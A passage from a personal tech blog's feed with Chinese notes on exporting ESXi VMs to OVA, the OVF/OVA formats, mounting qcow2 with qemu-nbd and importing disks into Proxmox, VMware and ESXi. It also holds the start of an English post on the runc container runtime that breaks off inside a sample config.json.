&lt;p&gt;输入ESXI 的root密码就会开始运行了，慢慢等待完成。&lt;&#x2F;p&gt;
&lt;p&gt;也可以带密码输入直接导出ova文件&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;ovftool vi:&#x2F;&#x2F;root:password@192.168.1.254&#x2F;Debian11 D:\Debian11.ova&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;注意：&lt;&#x2F;p&gt;
&lt;p&gt;1.vm虚拟机要关闭电源&lt;&#x2F;p&gt;
&lt;p&gt;2.ESXI 不要打开维护模式，如果打开维护模式也不能通过ovf tool 进行操作的，会报错&lt;&#x2F;p&gt;
&lt;p&gt;3.其实导出成ovf的大小是虚拟机实际的大小，而不是其逻辑大小，这一点需要注意。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;ge-shi-jie-shao&quot;&gt;格式介绍&lt;&#x2F;h3&gt;
&lt;p&gt;随着虚拟化技术的不断成熟，越来越多的厂商加入到了虚拟化产品的大军，各大厂商基于自己的利益诉求，一般都会推出自己定义的虚拟机的格式，使得客户如果使用多厂商的产品时想要在各大厂商虚拟化平台进行无缝切换会比较头疼，此时就需要通用的虚拟机格式来完成这个事情。对于熟悉VMware的人来说，导入和导出虚拟机的时候，会有两种格式可选，分别是OVF和OVA，下面我们就简单的介绍一下什么是OVF和OVA，且这两者有什么联系和区别。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;什么是OVF文件&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;开源虚拟化格式OVF（Open Virtualization Format）文件是一种开源的文件规范，它描述了一个开源、安全、有效、可拓展的便携式虚拟打包以及软件分布格式，它一般有几个部分组成，分别是ovf文件、mf文件、cert文件、vmdk文件和iso文件。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;OVF文件工作原理以及各组件的作用&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;简单来说，OVF文件可以抽象看做一个由规定的几个不同类型的文件所组成的文件包，这个文件包可作为以后不同虚拟机之间一个标准可靠的虚拟文件格式，实现不同虚拟机之间的通用性。每个类型的文件都有各自的作用，相辅相成。&lt;&#x2F;p&gt;
&lt;p&gt;下面我们逐一做个介绍：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;1、ovf 文件&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;a.简介&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;ovf文件在OVF文件格式中起到了举足轻重的作用，他的存在是保证了镜像文件vmdk，资源文件iso与虚拟机domain配置之间的正确对应，作用就如同vmware中的vmx文件、以及Xen、kvm中的xml 配置文件。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;b.内容详细分析&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;以一个ovftool生成的ovf为例通过对内容的研究可知。&lt;&#x2F;p&gt;
&lt;p&gt;前两行是对ovf文件的一些基本信息作简要说明主要内容包括了xml的版本，编码规范以及创建文件时的一些基本信息：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;%E5%B0%86-ova-qcow2-%E5%AF%BC%E5%85%A5%E5%88%B0-pve-%E8%99%9A%E6%8B%9F%E6%9C%BA&#x2F;assets&#x2F;network-asset-77bbddb89e2044cea41fe8b6af3454d8-20240903111850-xp74d8a-dd4f57.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;在基本信息之后，会有一个Envelope类型的说明，主要是规定了OVF文件所用规范的一些基本定义位置以及基本变量内容的声明。比如这里xmlns：vmw内容就是对应后面的vmw：&lt;&#x2F;p&gt;
&lt;p&gt;一般来说，以上的内容只跟我们所用ovf格式的具体版本和提供商有关，在版本相同的情况下（也就是使用工具相同的情况下）以上内容并不会有什么区别。真正控制ovf文件工作的内容是后面部分，它和具体虚机配置紧密相关，在vmware中主要是靠vmx文件进行转换。&lt;&#x2F;p&gt;
&lt;p&gt;主要内容包括：&lt;&#x2F;p&gt;
&lt;p&gt;（1）、References类型&lt;&#x2F;p&gt;
&lt;p&gt;以上两句声明了两个镜像分别对应OVF文件包中的vmdk镜像文件以及iso资源文件并用file1,file2予以区别。&lt;&#x2F;p&gt;
&lt;p&gt;（2）、DiskSection类型&lt;&#x2F;p&gt;
&lt;p&gt;在声明了vmdk文件为file1之后通过对DiskSection的配置，确定让vmdk作为虚机的硬盘镜像。&lt;&#x2F;p&gt;
&lt;p&gt;（3）、网络配置模块NetworkSection&lt;&#x2F;p&gt;
&lt;p&gt;（4）、与虚机机内容相关的配置模块&lt;&#x2F;p&gt;
&lt;p&gt;上述文档信息主要是对各种vmx中的信息进行归类，比如说VirtualSystem声明了hypervisor环境为vmware，同时声明的还有虚拟机的domain，系统环境、各种CPU配置等。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;2、mf文件&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;a.简介&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;mf文件主要是一些文件SHA的集合，他主要起到的作用是防止镜像文件被非法用户篡改，通过对实例的比对我们可以得出，mf文件中各个文件的SHA值是对该文件的整个文件内容进行的内容摘要。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;b.实例内容如下：&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;3、Cert文件&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;从对mf文件的分析我们知道了，mf文件主要作用是为了验证各种虚机相关配置是否被恶意篡改，但是如何保证mf文件本身的合法性呢？于是我们需要.Cert文件来加以补充。Cert文件主要分为2个部分，一部分是mf文件的摘要，而另一部分是合法证书的证书内容。通过证书的验证来实现验证mf文件合法性的验证，进一步证明整个OVF文件包的合法性。Cert证书的生成主要依赖PKI，可以通过openssl来实现。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;4、vmdk文件和iso文件&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;这两种文件属于同一类，在OVF中都是资源类，主要就是具体的镜像资源。不同的区别是vmdk文件内容主要是用户操作系统OS的内容，而iso是光驱一类的内容。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;虚拟机包 OVF和OVA的区别&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;OVF（Open Virtualization Format：开放虚拟化格式 ）和OVA（Open Virtualization Appliance：开放虚拟化设备），两者包含所有用于部署虚拟机的必要信息。这两种包封装格式都是由DMTF（Distributed Management Task Force）所定义的。&lt;&#x2F;p&gt;
&lt;p&gt;两者之间的主要区别是在包的描述和封装。OVF包构造了必要的几个文件（具体见上描述），所有这些在定义和部署的虚拟机必须用到的。相比之下，OVA包是一个单一的文件，所有必要的信息都封装在里面。&lt;&#x2F;p&gt;
&lt;p&gt;OVF文件使用.ovf文件扩展名，同时一个OVF描述符，一个XML文件，用来描述打包的虚拟机。OVF还包含元数据和一个或更多的磁盘映像。或者，它也可能包含证书和其他附文件。&lt;&#x2F;p&gt;
&lt;p&gt;而OVA文件则采用.tar文件扩展名,包含了一个OVF 包中所有文件类型。这样OVA单一的文件格式使得它非常便携。&lt;&#x2F;p&gt;
&lt;p&gt;可以说OVA就是OVF的一种压缩模式，即将OVF的一组文件压缩为单一的文件&lt;&#x2F;p&gt;
&lt;h2 id=&quot;shi-yong-qemu-nbdgua-zai-qcow2&quot;&gt;使用qemu-nbd挂载qcow2&lt;&#x2F;h2&gt;
&lt;p&gt;问题
使用kvm构建虚拟机系统时，会遇到操作qcow2或raw块设备文件的需求。之前我一直是将其挂载到一个现成的linux系统虚拟机上进行操作，有没有直接在宿主机上操作的方法呢?&lt;&#x2F;p&gt;
&lt;p&gt;方法
最近发现qemu提供了一个很有用的工具qemu-nbd，可以将包括qcow2格式及raw格式的文件进行直接挂载。&lt;&#x2F;p&gt;
&lt;p&gt;下面进行一下演示，创建一个1GB的qcow2文件，挂载到块设备，分区并格式化。&lt;&#x2F;p&gt;
&lt;p&gt;首先创建一个空磁盘文件&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;qemu-img create -f qcow2 test-sda-1G.qcow2 1G
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;接下来加载nbd的内核扩展&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;modprobe nbd max_part=8
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;此时可以观察到，&#x2F;dev&#x2F;下生成了十几个nbd开头的设备，这些都是可以用于挂载块设备文件的挂载点。&lt;&#x2F;p&gt;
&lt;p&gt;我们将刚刚生成的test-sda-1G.qcow2挂载到nbd0上&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;qemu-nbd --connect=&amp;#x2F;dev&amp;#x2F;nbd0 test-sda-1G.qcow2
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;此时qcow2文件已经成为了一个标准的块设备&#x2F;dev&#x2F;nbd0，可以通过fdisk -l &#x2F;dev&#x2F;nbd0来列出其信息&lt;&#x2F;p&gt;
&lt;p&gt;我们使用fdisk对&#x2F;dev&#x2F;nbd0进行分区操作，创建两个分区并保存，结果如下&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;fdisk -l &amp;#x2F;dev&amp;#x2F;nbd0

Disk &amp;#x2F;dev&amp;#x2F;nbd0: 1 GiB, 1073741824 bytes, 2097152 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical&amp;#x2F;physical): 512 bytes &amp;#x2F; 512 bytes
I&amp;#x2F;O size (minimum&amp;#x2F;optimal): 512 bytes &amp;#x2F; 512 bytes
Disklabel type: dos
Disk identifier: 0x8ff00943

Device      Boot  Start     End Sectors  Size Id Type
&amp;#x2F;dev&amp;#x2F;nbd0p1 *      2048  411647  409600  200M 83 Linux
&amp;#x2F;dev&amp;#x2F;nbd0p2      411648 2097151 1685504  823M 83 Linux
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;接下来我们可以对分区进行格式化操作&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;mkfs.ext2 &amp;#x2F;dev&amp;#x2F;nbd0p1
mkfs.ext4 &amp;#x2F;dev&amp;#x2F;nbd0p2
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;此时文件系统创建完成，已经可以进行挂载了&lt;&#x2F;p&gt;
&lt;p&gt;此时可以挂载并进行操作，完成后我们可以断开设备连接&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;qemu-nbd -d &amp;#x2F;dev&amp;#x2F;nbd0
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;此时qcow2文件脱离nbd0块设备，已经就绪可以用于虚拟机内使用了&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>将ova或qcow2导入到PVE虚拟机</title>
        <published>2024-09-03T00:00:00+00:00</published>
        <updated>2024-09-03T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/将ova或qcow2导入到pve虚拟机/"/>
        <id>https://vercel.juzhong.asia/obsidian/将ova或qcow2导入到pve虚拟机/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/将ova或qcow2导入到pve虚拟机/">&lt;h1 id=&quot;jiang-ovahuo-qcow2dao-ru-dao-pvexu-ni-ji&quot;&gt;将ova或qcow2导入到PVE虚拟机&lt;&#x2F;h1&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;pve-ova-qcow2-import&#x2F;proxmox-logo.png&quot; alt=&quot;Proxmox_logo_standard_hex_2000px-768x116.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;比如我们从 VMware Workstation 导出的虚拟机镜像 (ova 或者 ovf), 如果我想要导入到 proxmox 中, proxmox 默认是不支持导入 OVA 虚拟机的, 可以通过转换虚拟机虚拟磁盘的方法将虚拟磁盘附加到现有的 pve 虚拟机中.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;ti-qu-vmdk-xu-ni-ci-pan-wen-jian&quot;&gt;提取 vmdk 虚拟磁盘文件&lt;&#x2F;h2&gt;
&lt;p&gt;这一步如果是 ova, 则需要用解压缩软件解压一下, 如果是 ovf, 直接就能看到 vmdk 文件&lt;&#x2F;p&gt;
&lt;h2 id=&quot;zhuan-huan-xu-ni-ci-pan-wen-jian&quot;&gt;转换虚拟磁盘文件&lt;&#x2F;h2&gt;
&lt;p&gt;使用工具 qemu-img 进行转换, 如果是导入到 pve, 可以不转换, 使用 qm 命令会自动转换的&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;qemu-img convert -p -O qcow2 -c &amp;#x2F;dev&amp;#x2F;mapper&amp;#x2F;pve-vm--110--disk--0 VM110.qcow2
qemu-img convert -c -f vmdk myvm-disk1.vmdk -O qcow2 myvm-disk1.qcow2
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;zai-pve-shang-chuang-jian-xin-de-xu-ni-ji&quot;&gt;在 PVE 上创建新的虚拟机&lt;&#x2F;h2&gt;
&lt;p&gt;此步骤需要记录一下虚拟机的 ID&lt;&#x2F;p&gt;
&lt;h2 id=&quot;shang-chuan-xu-ni-ci-pan-wen-jian-dao-pve&quot;&gt;上传虚拟磁盘文件到 PVE&lt;&#x2F;h2&gt;
&lt;p&gt;pve 本质上就是 debian linux, 你可以用任何方便的方式上传, 比如在机器上使用 wget 下载, 或者 scp sftp rz 等上传&lt;&#x2F;p&gt;
&lt;h2 id=&quot;shi-yong-qm-importdisk-ming-ling-dao-ru&quot;&gt;使用 qm importdisk 命令导入&lt;&#x2F;h2&gt;
&lt;pre&gt;&lt;code&gt;qm importdisk  &amp;lt;vmid&amp;gt; &amp;lt;images-name&amp;gt; &amp;lt;storage pool&amp;gt;  --format=&amp;lt;disk-fs&amp;gt;
vmid：vm的id 例如102
images-name：磁盘镜像的名字
storage pool: 存储磁盘镜像的位置，如lvm-thin local
disk-fs: 磁盘镜像格式  raw&amp;#x2F;vmdk&amp;#x2F;qcow2
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;导入成功后, 在虚拟机界面可以看到一个未使用磁盘&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;pve-ova-qcow2-import&#x2F;qm-importdisk-unused-disk.png&quot; alt=&quot;image.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;双击未使用磁盘, 点击添加即可&lt;&#x2F;p&gt;
&lt;p&gt;最后调整一下启动项顺序.&lt;&#x2F;p&gt;
&lt;h1 id=&quot;vmware-dao-ru-qcow2&quot;&gt;vmware 导入qcow2&lt;&#x2F;h1&gt;
&lt;p&gt;首先使用&lt;code&gt;qemu-img&lt;&#x2F;code&gt;工具，把qcow2的镜像转化成vmdk格式的：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;qemu-img convert -f qcow2 CentOS_7.2_x86_64_XD.qcow2 -O vmdk Centos.vmdk
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;然后会在根目录出现Centos.vmdk镜像，但是无法导入，因为没有vmx文件。导入到Vmware里会报错。&lt;&#x2F;p&gt;
&lt;p&gt;所以，我们先使用VMware建立一个空的虚拟机，系统因你的qcow2进行选择，因为我是Centos7。我这里选择的是Centos 7 64位系统。&lt;&#x2F;p&gt;
&lt;p&gt;创建好了之后，进入&lt;code&gt;Virtual Machines&lt;&#x2F;code&gt;目录下的你刚刚创建虚拟机的目录，把vmdk文件删除，用之间&lt;code&gt;qemu-img&lt;&#x2F;code&gt;转化后的文件，覆盖过去，启动Vmware就成功了。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;esxi-dao-ru&quot;&gt;ESXi 导入&lt;&#x2F;h2&gt;
&lt;p&gt;二次转换，将vmdk转换成ESXi可认的格式；&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;shell&quot; class=&quot;language-shell &quot;&gt;&lt;code class=&quot;language-shell&quot; data-lang=&quot;shell&quot;&gt;vmkfstools -i aliyun-ecs.vmdk -d thin out-aliyun-ecs.vmdk
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;新建虚拟机并导入。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Digging Into Runtimes – runc</title>
        <published>2024-09-01T00:00:00+00:00</published>
        <updated>2024-09-01T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/digging-into-runtimes-–-runc/"/>
        <id>https://vercel.juzhong.asia/obsidian/digging-into-runtimes-–-runc/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/digging-into-runtimes-–-runc/">&lt;h1 id=&quot;digging-into-runtimes-runc&quot;&gt;Digging Into Runtimes – runc&lt;&#x2F;h1&gt;
&lt;p&gt;Everyone knows about Docker but not a lot of people are aware of the underlying technologies used by it. In this blogpost we will analyze one of the most fundamental and powerful technologies hidden behind Docker - runc.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;mkdev.me&#x2F;en&#x2F;posts&#x2F;the-tool-that-really-runs-your-containers-deep-dive-into-runc-and-oci-specifications&quot;&gt;https:&#x2F;&#x2F;mkdev.me&#x2F;en&#x2F;posts&#x2F;the-tool-that-really-runs-your-containers-deep-dive-into-runc-and-oci-specifications&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;em&gt;Picture by Kirill Shirinkin&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;brief-container-history-from-a-mess-to-standards-and-proper-architecture&quot;&gt;Brief container history: from a mess to standards and proper architecture&lt;&#x2F;h2&gt;
&lt;p&gt;Container technologies appeared for the first time after the invention of &lt;em&gt;cgroups&lt;&#x2F;em&gt; and &lt;em&gt;namespaces&lt;&#x2F;em&gt;. Two of the first-known projects trying to combine them to achieve isolated process environments were&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;linuxcontainers.org&#x2F;lxc&#x2F;introduction&#x2F;&quot;&gt;LXC&lt;&#x2F;a&gt; and&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;google&#x2F;lmctfy&quot;&gt;LMCTFY&lt;&#x2F;a&gt;. The latter, in a typical&lt;em&gt;Google&lt;&#x2F;em&gt; style, tried to provide a stable abstraction from the Linux internals via an intuitive API.&lt;&#x2F;p&gt;
&lt;p&gt;In 2013 a technology named &lt;em&gt;Docker&lt;&#x2F;em&gt;, built on top of &lt;em&gt;LXC&lt;&#x2F;em&gt;, was created. The &lt;em&gt;Docker&lt;&#x2F;em&gt; team introduced the notions of container “packaging” (called images) and “portability” of these images between different machines. In other words, &lt;em&gt;Docker&lt;&#x2F;em&gt; tried to create an independent software component following the Unix philosophy (minimalism, modularity, interoperability).&lt;&#x2F;p&gt;
&lt;p&gt;In 2014 a software called&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;docker-archive&#x2F;libcontainer&quot;&gt;libcontainer&lt;&#x2F;a&gt; was created. Its objectives were to create processes into isolated environments and manage their lifecycle. Also in 2014,&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;kubernetes.io&#x2F;&quot;&gt;Kubernetes&lt;&#x2F;a&gt; was announced at&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;dockerconeurope2014.sched.com&#x2F;list&#x2F;descriptions&#x2F;&quot;&gt;DockerCon&lt;&#x2F;a&gt;and that is when a lot of things started to happen in the container world.&lt;&#x2F;p&gt;
&lt;p&gt;The &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;opencontainers.org&#x2F;&quot;&gt;OCI (Open Container Initiative)&lt;&#x2F;a&gt; was then created in response to the need for standardization and structured governance. The &lt;em&gt;OCI&lt;&#x2F;em&gt;project ended up with two specifications - the Runtime Specification (&lt;em&gt;runtime-spec&lt;&#x2F;em&gt;) and the Image Specification (&lt;em&gt;image-spec&lt;&#x2F;em&gt;). The former defined a detailed API for the developers of &lt;strong&gt;runtimes&lt;&#x2F;strong&gt; to follow. The &lt;em&gt;libcontainer&lt;&#x2F;em&gt; project was donated to &lt;em&gt;OCI&lt;&#x2F;em&gt; and the first standardized runtime following the &lt;em&gt;runtime-spec&lt;&#x2F;em&gt; was created -&lt;strong&gt;runc&lt;&#x2F;strong&gt;. It represents a fully compatible API on top of libcontainer allowing users to directly spawn and manage containers.&lt;&#x2F;p&gt;
&lt;p&gt;Today container runtimes are often divided into two categories - low-level (runc, gVisor, Firecracker) and high-level (containerd, Docker, CRI-O, podman). The difference is in the amount of consumed&lt;em&gt;OCI&lt;&#x2F;em&gt; specification and additional features.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;em&gt;Runc&lt;&#x2F;em&gt; is a standardized runtime for spawning and running containers on Linux according to the &lt;em&gt;OCI&lt;&#x2F;em&gt; specification. However, it doesn’t follow the &lt;em&gt;image-spec&lt;&#x2F;em&gt; specification of the &lt;em&gt;OCI&lt;&#x2F;em&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;There are other more high-level runtimes, like &lt;em&gt;Docker&lt;&#x2F;em&gt; and&lt;em&gt;Containerd&lt;&#x2F;em&gt;, which implement this specification on top of &lt;em&gt;runc&lt;&#x2F;em&gt;. By doing so, they solve several disadvantages related to the usage of &lt;em&gt;runc&lt;&#x2F;em&gt;  alone namely -  image integrity, bundle history log and efficient container root file system usage. Be prepared, we are going to look into these more evaluated runtimes in the next article !&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;runc-internals&#x2F;container-runtimes-high-low-level.png&quot; alt=&quot;High level to low level&quot; &#x2F;&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;runc-internals&#x2F;container-runtime-high-low-level.png&quot; alt=&quot;High level to low level&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;em&gt;Drawing by Ivan Velichko&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;runc&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;opencontainers&#x2F;runc&quot;&gt;Runc&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;blockquote&gt;
&lt;p&gt;runc - Open Container Initiative runtime runc is a command line client for running applications packaged according to the Open Container Initiative (OCI) format and is a compliant implementation of the Open Container Initiative specification Runc is a so-called “container runtime”.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;As mentioned above, &lt;em&gt;runc&lt;&#x2F;em&gt; is an &lt;em&gt;OCI&lt;&#x2F;em&gt; compliant runtime - a software component responsible for the creation, configuration and management of isolated Linux processes also called containers. Formally, &lt;em&gt;runc&lt;&#x2F;em&gt; is a client wrapper around &lt;em&gt;libcontainer&lt;&#x2F;em&gt;. As &lt;em&gt;runc&lt;&#x2F;em&gt; follows the &lt;em&gt;OCI&lt;&#x2F;em&gt; specification for container runtimes it requires two pieces of information:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;OCI configuration&lt;&#x2F;strong&gt; - a JSON-like file containing container process information like namespaces, capabilities, environment variables, etc.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Root filesystem directory&lt;&#x2F;strong&gt; - the root file system directory which is going to be used by the container process (chroot).&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;Let’s now inspect how we can use &lt;em&gt;runc&lt;&#x2F;em&gt; and the above-mentioned specification components.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;generating-an-oci-configuration&quot;&gt;Generating an OCI configuration&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;em&gt;Runc&lt;&#x2F;em&gt; comes out of the box with a feature to generate a default &lt;em&gt;OCI&lt;&#x2F;em&gt;configuration:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;cryptonite@host:~$ runc spec &amp;amp;&amp;amp; cat config.json
{
    &amp;quot;ociVersion&amp;quot;: &amp;quot;1.0.2-dev&amp;quot;,
    &amp;quot;process&amp;quot;: {
        &amp;quot;terminal&amp;quot;: true,
        &amp;quot;user&amp;quot;: {
            &amp;quot;uid&amp;quot;: 0,
            &amp;quot;gid&amp;quot;: 0
        },
        &amp;quot;args&amp;quot;: [
            &amp;quot;sh&amp;quot;
        ],
        &amp;quot;env&amp;quot;: [
            &amp;quot;PATH=&amp;#x2F;usr&amp;#x2F;local&amp;#x2F;sbin:&amp;#x2F;usr&amp;#x2F;local&amp;#x2F;bin:&amp;#x2F;usr&amp;#x2F;sbin:&amp;#x2F;usr&amp;#x2F;bin:&amp;#x2F;sbin:&amp;#x2F;bin&amp;quot;,
            &amp;quot;TERM=xterm&amp;quot;
        ],
        &amp;quot;cwd&amp;quot;: &amp;quot;&amp;#x2F;&amp;quot;,
        &amp;quot;capabilities&amp;quot;: {
            &amp;quot;bounding&amp;quot;: [
                &amp;quot;CAP_AUDIT_WRITE&amp;quot;,
                &amp;quot;CAP_KILL&amp;quot;,
                &amp;quot;CAP_NET_BIND_SERVICE&amp;quot;
            ],
            &amp;quot;effective&amp;quot;: [
                &amp;quot;CAP_AUDIT_WRITE&amp;quot;,
                &amp;quot;CAP_KILL&amp;quot;,
                &amp;quot;CAP_NET_BIND_SERVICE&amp;quot;
            ],
            &amp;quot;inheritable&amp;quot;: [
                &amp;quot;CAP_AUDIT_WRITE&amp;quot;,
                &amp;quot;CAP_KILL&amp;quot;,
                &amp;quot;CAP_NET_BIND_SERVICE&amp;quot;
            ],
            &amp;quot;permitted&amp;quot;: [
                &amp;quot;CAP_AUDIT_WRITE&amp;quot;,
                &amp;quot;CAP_KILL&amp;quot;,
                &amp;quot;CAP_NET_BIND_SERVICE&amp;quot;
            ],
            &amp;quot;ambient&amp;quot;: [
                &amp;quot;CAP_AUDIT_WRITE&amp;quot;,
                &amp;quot;CAP_KILL&amp;quot;,
                &amp;quot;CAP_NET_BIND_SERVICE&amp;quot;
            ]
        },
        &amp;quot;rlimits&amp;quot;: [
            {
                &amp;quot;type&amp;quot;: &amp;quot;RLIMIT_NOFILE&amp;quot;,
                &amp;quot;hard&amp;quot;: 1024,
                &amp;quot;soft&amp;quot;: 1024
            }
        ],
        &amp;quot;noNewPrivileges&amp;quot;: true
    },
    &amp;quot;root&amp;quot;: {
        &amp;quot;path&amp;quot;: &amp;quot;rootfs&amp;quot;,
        &amp;quot;readonly&amp;quot;: true
    },
    &amp;quot;hostname&amp;quot;: &amp;quot;runc&amp;quot;,
    &amp;quot;mounts&amp;quot;: [
        {
            &amp;quot;destination&amp;quot;: &amp;quot;&amp;#x2F;proc&amp;quot;,
            &amp;quot;type&amp;quot;: &amp;quot;proc&amp;quot;,
            &amp;quot;source&amp;quot;: &amp;quot;proc&amp;quot;
        },
        {
            &amp;quot;destination&amp;quot;: &amp;quot;&amp;#x2F;dev&amp;quot;,
            &amp;quot;type&amp;quot;: &amp;quot;tmpfs&amp;quot;,
            &amp;quot;source&amp;quot;: &amp;quot;tmpfs&amp;quot;,
            &amp;quot;options&amp;quot;: [
                &amp;quot;nosuid&amp;quot;,
                &amp;quot;strictatime&amp;quot;,
                &amp;quot;mode=755&amp;quot;,
                &amp;quot;size=65536k&amp;quot;
            ]
        },
        {
            &amp;quot;destination&amp;quot;: &amp;quot;&amp;#x2F;sys&amp;#x2F;fs&amp;#x2F;cgroup&amp;quot;,
            &amp;quot;type&amp;quot;: &amp;quot;cgroup&amp;quot;,
            &amp;quot;source&amp;quot;: &amp;quot;cgroup&amp;quot;,
            &amp;quot;options&amp;quot;: [
                &amp;quot;nosuid&amp;quot;,
                &amp;quot;noexec&amp;quot;,
                &amp;quot;nodev&amp;quot;,
                &amp;quot;relatime&amp;quot;,
                &amp;quot;ro&amp;quot;
            ]
        }
    ],
    &amp;quot;linux&amp;quot;: {
